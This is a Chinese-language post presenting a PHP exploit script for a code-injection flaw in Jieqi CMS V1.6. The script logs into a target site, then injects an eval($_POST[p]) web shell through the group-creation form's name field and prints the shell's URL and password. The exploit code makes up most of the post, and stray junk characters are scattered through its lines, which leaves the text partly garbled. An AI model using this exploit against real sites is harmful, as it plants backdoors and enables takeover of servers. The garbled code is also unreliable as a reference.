Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。
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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
0 l4 [+ D; ?1 R. D* h! U 需要有一个能创建圈子的用户。

1 ?  k' X3 R3 `9 Q, v" K<?php
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: P1 Q0 x! x4 B6 w- T$ v' bprint_r('
+---------------------------------------------------------------------------+
* \/ n: S; O: K6 m7 W; f9 R% ^4 [Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
5 m6 f5 s, ], Y+ Nmail: phpsec at hotmail dot com
- f0 \* ]5 Y% r5 }team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
4 w, s( x# @! G * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
" T0 @" V2 @% q& }; b2 a9 CUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
7 d% V+ P% ?) ]& U) K# g9 I2 Vpath:      path to jieqicms
7 }: x: o8 c3 y* z* E. @uasename:  a username who can create group
4 r% ^% g2 O" k' f" g2 s4 rExample:
! u# x" L9 i+ T2 Z; h8 g. vphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
9 B! _4 B; Q5 h6 W! @'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
3 H1 s* [5 @' O# SContent-Disposition: form-data; name="gname"

6 Y  ^: h8 G4 _& C+ b'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
( \8 G: J8 y8 z8 i, Q) m2 k. GContent-Disposition: form-data; name="gcatid"
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  O2 @) A2 `( z7 r: G  s1 F8 e! A-----------------------------23281168279961
9 w3 t4 f/ v0 t( a. J) L  R* H' ^3 yContent-Disposition: form-data; name="gaudit"

, |9 x0 T) q6 k- \% C( `; p. U1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"
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1
-----------------------------23281168279961--
  G- X) u3 f  c7 ^, x'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

% n* i# U6 d+ S" u) O, R- Qpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;